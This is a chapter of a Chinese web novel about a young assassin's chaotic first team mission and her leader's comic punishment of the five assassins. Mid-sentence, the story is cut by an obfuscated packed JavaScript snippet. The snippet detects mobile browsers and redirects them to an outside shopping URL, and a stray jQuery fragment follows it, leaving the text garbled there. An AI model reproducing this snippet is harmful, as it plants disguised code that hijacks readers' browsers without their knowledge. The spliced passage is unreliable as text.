默认冷灰
24号文字
方正启体

2. 摔人为号

作者:鹤顽本书字数:K更新时间:
    无还栈众人的档案层层递交,封为绝密,被植入血影蛊后,屠笑尔终于得以了解无还栈这一精密的暗杀体系。


    以她为垫底的五位经过层层选拔的武士是无还栈的顶级杀手,称作“无还子”,此五人专司最高级别的刺杀任务,手握调遣暗卫之权,拥有先斩后奏的特权,也知悉朝中所有影卫名单。


    往下各分舵便是主掌善后清理的暗影使十人、负责护送刺杀的鸦哨三十人、掌控情报联络的青鸾二十人。


    而甲乙丙丁戊五个训练营还将持续培养学徒,作为成员幼苗进行培养,经严苛挑战,胜者便可取代上位者的位置,以此往复,维系着组织的更新迭代。


    这般层级分明,展现出权力的梯次。屠笑尔身为顶层无还子之一,知悉的秘密极深,脚下的血路也陡峭万分。但她丝毫不后悔,她在这血海中踏出的每一步都将成为母亲和姐姐生存的底气。


    有苦练十载的功夫在身,无还子很快便开始接手任务,多为暗杀或刺探情报的单人行动。


    直到首领虞无妄将他们五人召到一起,宣布要集体行动训练协作能力的时候,屠笑尔才明白,虞无妄为何选中了自己。


    无还子五人中,老大莫回话少狠厉,出手精准干净;老二荆鼓身形微胖但轻功了得,飞檐走壁落地无声;老三仇九命擅长逃脱,精通医术;老四哑刃是个话痨,擅制暗器。


    没有一个是埋头老实打架的。


    无还栈需要善于变通的人才,所以,尽管嫌弃,虞大人还是皱着眉选了她。


    屠笑尔踩点跳进小进院的时候,其余四人早已到齐,虞无妄坐在一把石椅上,用匕首剃着一只枣。听到她在墙头的动静,虞大人撩起眼皮,指尖一捻,用寸劲将小枣弹出。


    屠笑尔伸手一兜,脚尖点着墙面翻了个跟头卸了劲,落地后看了眼掌心,高高兴兴道:“谢虞大人赏!”


    说完,将雕了一只小狗的枣子塞进嘴里嚼了。好甜。


    虞无妄收回视线,屠笑尔知道这是考验通过了。领导时常对她使一些小绊子,也不知是在试探自己功夫,还是单纯看不惯她。


    屠笑尔觉得应该是前者,如果真的看不惯她,就不会次次都用一些零嘴甜食攻击她了。


    虞无妄收了匕首,他的身后斜斜背着两把通体漆黑的长刀,腰间那个花里胡哨的手工艺品绣春刀已然不见了。


    他开口,语调清凌又淡漠,直入主题:“爱好送死的那位到了,我便说一下此次刺杀的对象。”


    领导记性太好也不好,总是把屠笑尔那日的豪言壮语拿出来刺激她。


    但屠笑尔是个大度的人,她怎么会和首领计较呢?


    无还子进来的头一日,虞无妄这小白脸便单手与他们一一单挑,把她前边四个师兄都打服了。尽管有系统支招,屠笑尔还是不想做那主动讨打的第五人。


    嘎嘣一声,屠笑尔口中枣核断成两截。


    新帝刚上位,尚有许多旧朝臣子有异心。其中以重臣仲山甫为首,其子十年前因延误军机被姞朔斩于阵前,怀恨在心已久,和敌国达成颠覆大姞为其子昭雪的密谋。


    与其联手的还有十余人,遍布军政、祭祀、文书等核心部门,其叛国行为既各有私怨或把柄,又暗中形成配合,共同构成动摇大姞政权的暗网。


    这次行动,便是要趁这群异党借中秋宴席商讨之际,将其一网打尽。


    虞无妄下令简洁,众人得令后如鬼魅般飞速隐入夜色。此次行动事关重大,有虞大人坐镇,众人很快沉默而有序地占据了屋顶暗角,除却轻微风声,再无其他动静。


    相处一月,屠笑尔摸到了几分他的风格,讲求效率但不择手段。


    “看什么?”虞无妄不知何时摸到了屠笑尔身边,刀柄轻敲屠笑尔脑袋,声色暗沉,他评价道,“是颗好头。”


    屠笑尔被吓了一跳,但没发出任何动静,她弯了弯眼睛,用唇语抒发了一下她那半吊子诗意:“床前明月光……”


    虞无妄往天上看了一眼,今天是十五,月圆皎洁,最宜刺杀。


    “别赏月了,好好记一下你待会要割下的人头。”虞无妄揉碎了所有美感。


    床前明月光,把人全杀光。


    “知道,摔杯为号嘛。”屠笑尔缩了缩脖子,她看向屋檐西南角,原先匍匐在那里的荆鼓和仇九命已经潜入府邸,他们将率先拿下里边的东厂高手并发出动手信号。


    屠笑尔一回头,身侧早已空无一人,想来这暗卫头子是没兴趣聊什么花好月圆,虞无妄内力深厚没有底,身手也是世间一流,行动如同鬼魅,悄无声息便没了踪迹。


    细脚伶仃的野猫走过屋檐,踩出一串细细的砖瓦声响。屠笑尔正透过窗花紧盯着屋内的两位山羊胡,街角处忽然绽出烟花,映亮了一方天空。


    不好!会暴露的!


    屠笑尔抛出细绳套住脊兽,悄无声息地滑下屋顶,在烟花爆响的前一刻在檐角阴影中堪堪挂住,与一窝从睡梦中惊醒的燕子大眼瞪小眼。


    借着下一弹烟花升空的间隙,她攀着檐角探头看了一眼,原先在屋顶上的师兄们都不见了,一名东厂服饰的公公正在握着剑屋脊上巡视,把可怜的野猫踢下屋顶。


    猫哇哇叫着,翻滚几圈后四脚落地,气愤地叫着跑开了。


    “怎么办?”屠笑尔问燕子,“说好的集体行动呢?”


    燕子们和她面面相觑。


    “算了,我先去杀了虐猫的。”屠笑尔勾住屋檐一个翻身,轻巧地敲中那位公公的膝弯。


    正待她伸臂去捂嘴时,哑刃的暗器斜刺飞出来,擦过屠笑尔小腹,打入公公咽喉中。


    屠笑尔大惊,她的腰带断成两截,只好手忙脚乱去提裤子。月色下裸奔还算小事,只差一点她这人就要断成两截了!


    哑刃疯狂合十拜着,表情夸张地无声道歉。公公的尸体沉闷地倒下又滑落,砸得屋檐上一阵瓦片噼啪响。


    屠笑尔和哑刃双双像受惊的猫一样跳起来,紧追着那滚落的尸体,只差一步!四只手徒劳伸在空中,尸体从四楼滚落,黑影掠过窗前,砸出闷响。


    同一时刻,西边一角窗木破碎,有一个身影破窗而出,从三楼摔了下去,砸碎了一只陶缸!


    砸缸为号也勉强算摔杯为号吧?


    众人皆跳了起来,无论是屋内密谋的还是屋外埋伏的,齐齐拔刀动了起来!


    刀光闪过,窗花溅上鲜血,街上的百姓只见被杀者的影子僵直倒下,却看不见刺客身影,诡异极了。


    看热闹的百姓聚集过来,楼下鸦哨出动,呵斥着驱散


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059152|194973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人群。


    当啷——


    一柄弯刀被打出窗外,屠笑尔一看:“这不是仇九命的刀吗?”


    她放了绳子快速下落,从破开的窗棂里荡了进去。


    刚进屋就被莫回的刀光逼到墙角,大师兄见几人靠不住,索性一人揽下所有人头,将十余人首级尽数收割,兢兢业业如同一位勤劳的农夫。


    仇九命连忙抖开袋子去装小案上的金银,屠笑尔揪起一个中年男人的前襟,扭头犹豫道:“这是谁的目标,杀不杀?”


    寒风掠过,屠笑尔还未来得及放手,揪着的人就没了头,湿热的血喷了她一脸。


    屠笑尔正待发作,看到虞无妄面色阴沉地在臂弯擦了擦刀,讪讪闭了嘴。


    虞无妄语气沉沉:“原来掉下去的不是你?”


    “您这是惋惜还是……”屠笑尔搞不懂他的情绪。


    “大人,我的错。我手滑将荆鼓摔下楼去了。”莫回收了刀,一撑窗框就跳了下去。


    屠笑尔连忙跟了几步,却被虞无妄用刀尖挑住后领,动弹不得。


    “你不能跳。”虞无妄挑着她的衣服将她拉了回去,“又瘦又小的,跳下去指定活不了。”


    屠笑尔都没想到这无还栈特制的夜行服质量能这么好,竟能把人挑起来挂着,活像一面简易旗帜。


    她掏出腰间爪钩扣住窗框,瞥了虞无妄一眼,见他没有阻拦之意,便挣脱衣领,沿着绳子慢慢滑了下去。


    荆鼓摔在一口大缸中,所幸缸里装满了水,给了他一点缓冲,胖乎乎的荆鼓挣扎着站起来,竟连外伤也无。


    鸡飞狗跳地收了兵,无还子在虞无妄门口跪了一排,月色下并排杵成五个桩子。


    他们一点不委屈,毕竟老大给老二手动跳楼,老三的刀脱了手只能自由搏击,老四险些将老五削成两半。


    他们酣畅淋漓地诠释了什么叫分则各自为王,合则遍地是猪。


    “绝密任务做得像上街迎亲,一个个咋咋呼呼生怕没动静,摔杯不够还得摔个人,我什么时候说过摔人为号这种暗号了?”虞无妄弹出一颗小得像花生的涩枣,正中屠笑尔额头,弹得她哎哟一声。


    未等她跪稳,破空声又至。两颗、三颗,枣子如疾射的暗器,接连砸在她肩头、脸颊,疼得她眼眶发红,喉间抗议生生被压了回去,只剩泪花在眼眶里打转。


    “杀人闹出那么大声响,瞄着队友出暗器,还扯开嗓子问是谁的目标,怎么不雇几个吹鼓手,敲锣打鼓地在你身边给伴几句呢?”


    屠笑尔正咬着唇憋眼泪,泪珠在眼眶里打转,眼看就要滚下来。冷不防见虞无妄一翻手腕,拿起了桃。


    她吓得魂都飞了,连忙伸出双手捂住脸颊,这不行,这会破相的!


    下一刻,那只桃在虞无妄弹出后不知怎地分成了均匀四瓣,破空之声响起,身旁四人遭受重击,闷哼着倒了下去!


    虞无妄又拿了一只桃,挑眉看向快把自己捂成鸵鸟正筛糠的屠笑尔:“还敢委屈?”


    屠笑尔眼泪啪嗒掉了一串,神色怔怔:“不不不敢了!”劫后余生的救赎感油然而生。


    虞无妄笑了,垂眸敛了所有怒气,慢条斯理地,咬了口桃。


    他语气里带着嘲弄:“不是放过你,是怕把你打死了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)